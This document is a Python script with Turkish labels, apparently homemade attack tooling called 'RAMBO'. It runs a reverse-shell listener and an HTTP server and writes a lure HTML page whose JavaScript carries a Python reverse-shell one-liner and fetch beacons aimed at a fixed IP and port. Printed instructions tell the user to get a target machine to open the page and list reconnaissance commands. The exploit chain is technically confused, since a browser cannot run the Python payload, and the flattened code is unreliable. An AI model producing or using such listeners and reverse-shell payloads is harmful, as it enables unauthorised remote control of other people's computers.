# rambo_son.py - SON VERSİYON, KESİN ÇÖZÜM
import socket
import threading
import time
import os
import sys
import socketserver
import select
import msvcrt
class RamboSon:
def __init__(self, port):
self.port = port
self.current_client = None
self.client_lock = threading.Lock()
self.running = True
def handle_client(self, client, addr):
with self.client_lock:
if self.current_client:
try:
self.current_client.close()
except:
pass
self.current_client = client
print(f"\n{'='*60}")
print(f"[+] RAMBO BAĞLANTI: {addr[0]}:{addr[1]}")
print(f"[+] SHELL HAZIR! Komutları yaz ve ENTER'a bas")
print(f"[+] Çıkmak için 'exit' yaz")
print(f"{'='*60}\n")
# Bağlantı testi
try:
client.send(b"echo '*** RAMBO SHELL AKTIF ***'\nwhoami\n")
time.sleep(1)
# İlk çıktıyı al
client.settimeout(2)
try:
data = client.recv(4096)
if data:
print("[İLK ÇIKTI]:")
print(data.decode('utf-8', errors='ignore'))
except:
pass
except:
pass
client.setblocking(False)
buffer = ""
try:
while self.running:
# Client'tan veri oku
try:
data = client.recv(8192)
if data:
sys.stdout.write(data.decode('utf-8', errors='ignore'))
sys.stdout.flush()
else:
print("\n[-] Bağlantı koptu!")
break
except socket.error:
pass
# Klavyeden komut oku (Windows)
if msvcrt.kbhit():
char = msvcrt.getch()
if char == b'\r': # Enter
if buffer.strip():
cmd = buffer.strip()
print(f"\n[>] {cmd}")
if cmd.lower() == 'exit':
client.send(b"exit\n")
print("[-] Çıkılıyor...")
break
elif cmd.lower() == 'clear':
os.system('cls')
else:
client.send(cmd.encode('utf-8') + b"\n")
buffer = ""
print("\n> ", end='', flush=True)
else:
print("\n> ", end='', flush=True)
buffer = ""
elif char == b'\x08': # Backspace
if buffer:
buffer = buffer[:-1]
sys.stdout.write('\b \b')
sys.stdout.flush()
else: # Normal karakter
try:
decoded = char.decode('utf-8')
buffer += decoded
sys.stdout.write(decoded)
sys.stdout.flush()
except:
pass
time.sleep(0.05)
except Exception as e:
print(f"\n[-] Hata: {e}")
finally:
try:
client.close()
except:
pass
with self.client_lock:
if self.current_client == client:
self.current_client = None
print("\n[+] Bağlantı kapandı. Yeni bağlantı bekleniyor...\n")
def start(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', self.port))
server.listen(1)
print(f"\n{'='*60}")
print(f"RAMBO LISTENER: 0.0.0.0:{self.port}")
print(f"{'='*60}")
print("[!] BEKLENİYOR... (Ctrl+C çıkış)\n")
while self.running:
try:
server.settimeout(1)
try:
client, addr = server.accept()
self.handle_client(client, addr)
except socket.timeout:
continue
except KeyboardInterrupt:
print("\n[-] RAMBO kapatılıyor...")
self.running = False
break
except Exception as e:
print(f"[-] Hata: {e}")
server.close()
# BASİT HTML - KESİN ÇÖZÜM
HTML_DOSYA = """<!DOCTYPE html>
<html>
<head>
<title>RAMBO SHELL</title>
<style>
body { background: black; color: lime; font-family: monospace; text-align: center; padding: 50px; }
h1 { color: red; font-size: 50px; text-shadow: 0 0 20px red; }
.kutu { border: 2px solid lime; padding: 30px; margin: 20px; background: #111; }
.blink { animation: blink 1s infinite; color: yellow; }
@keyframes blink { 0%{opacity:1;} 50%{opacity:0;} 100%{opacity:1;} }
</style>
</head>
<body>
<h1>⚡ RAMBO SON ⚡</h1>
<div class="kutu">
<h2 class="blink">BAĞLANTI KURULUYOR...</h2>
<p>Hedef: <span style="color:red;">192.168.1.15:8888</span></p>
<p>Durum: <span style="color:lime;">AKTİF</span></p>
<p>-----------------------</p>
<p>Python reverse shell gönderiliyor...</p>
<p>Bağlantı gelince terminale komut yaz!</p>
</div>
<script>
// KESIN KONFIG - DEĞİŞTİRME !
var IP = "192.168.1.15";
var PORT = 8888;
console.log("[*] RAMBO başlatıldı");
// Python reverse shell
var payload = 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\'' + IP + '\\',' + PORT + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\'/bin/sh\\',\\'-i\\'])"';
// Fetch ile dene
fetch('http://' + IP + ':' + PORT + '/?cmd=' + encodeURIComponent(payload));
// Image ile dene
var img = new Image();
img.src = 'http://' + IP + ':' + PORT + '/test?' + Math.random();
console.log("[+] Payload gönderildi!");
</script>
<!-- Error handler -->
<img src="x" onerror="fetch('http://' + IP + ':' + PORT + '/error?' + Math.random())" style="display:none">
<p style="color:#333; margin-top:50px;">RAMBO SON VERSİYON - 192.168.1.15:8888</p>
</body>
</html>
"""
# HTML dosyasını kaydet - ADINA DİKKAT!
with open('rambo.html', 'w', encoding='utf-8') as f:
f.write(HTML_DOSYA)
print("="*80)
print("██╗ ██╗ █████╗ ██████╗██╗ ██╗")
print("██║ ██║██╔══██╗██╔════╝██║ ██╔╝")
print("███████║███████║██║ █████╔╝ ")
print("██╔══██║██╔══██║██║ ██╔═██╗ ")
print("██║ ██║██║ ██║╚██████╗██║ ██╗")
print("╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝")
print("="*80)
print("RAMBO SON VERSİYON - KESİN ÇÖZÜM")
print("="*80)
print("\n[✓] DOSYA OLUŞTURULDU: rambo.html")
print("[✓] HEDEF IP: 192.168.1.15")
print("[✓] HEDEF PORT: 8888")
print("\n[!] ÖNEMLİ TALİMATLAR:")
print("-" * 60)
print("1. BU DOSYAYI ÇALIŞTIR: python rambo_son.py")
print("2. DİĞER TERMİNALDE: python -m http.server 80")
print("3. HEDEF MAKİNEDE TAM OLARAK:")
print(" http://192.168.1.15/rambo.html")
print("\n[!] TEST KOMUTLARI:")
print("-" * 60)
print("whoami - Kullanıcı adı")
print("ipconfig - IP bilgileri")
print("dir - Dosya listesi")
print("cd .. - Dizin değiştir")
print("systeminfo - Sistem bilgisi")
print("netstat -an - Ağ bağlantıları")
print("exit - Çıkış")
print("="*80)
# HTTP Sunucusu
def http_server():
with socketserver.TCPServer(("", 80), http.server.SimpleHTTPRequestHandler) as httpd:
print(f"[+] HTTP SERVER: http://0.0.0.0:80")
print(f"[+] DOSYA: http://192.168.1.15/rambo.html")
httpd.serve_forever()
if __name__ == "__main__":
import http.server
try:
# HTTP server başlat
t1 = threading.Thread(target=http_server)
t1.daemon = True
t1.start()
time.sleep(1)
# RAMBO listener başlat
rambo = RamboSon(8888)
rambo.start()
except KeyboardInterrupt:
print("\n[-] RAMBO kapatıldı")
except Exception as e:
print(f"[-] Hata: {e}")